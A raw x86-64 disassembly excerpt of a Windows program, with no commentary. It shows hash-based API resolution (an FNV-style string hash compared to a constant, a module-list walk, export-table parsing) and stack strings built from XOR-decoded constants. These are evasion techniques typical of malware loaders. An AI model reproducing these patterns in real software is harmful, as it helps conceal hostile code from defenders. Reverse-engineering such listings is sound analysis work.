mov edx, 0xa44f8b67
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000f102
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000f0e0
cmp edx, 0xdaca930a
je 0x14000f28a
test r8d, r8d
jne 0x14000f0c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000f11d
cmp qword [rax + 0x30], 0
jne 0x14000f090
xor eax, eax
mov ecx, 0x1f4
call rax
sub qword [rbp + 0xb20], 1
jne 0x14000efe0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x4070638b6d3387bc
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x8ec9f4855894d2eb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x2d0], rax
movabs rax, 0xbdad1fb419674218
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x58], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x60], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
movdqa xmm1, xmmword [rbp + 0x2d0]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x2d0], xmm1
lea rdx, [rbp + 0x2c0]
call fcn.140015070
call fcn.140018c40
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x14000ec60
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000efbf
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000f11f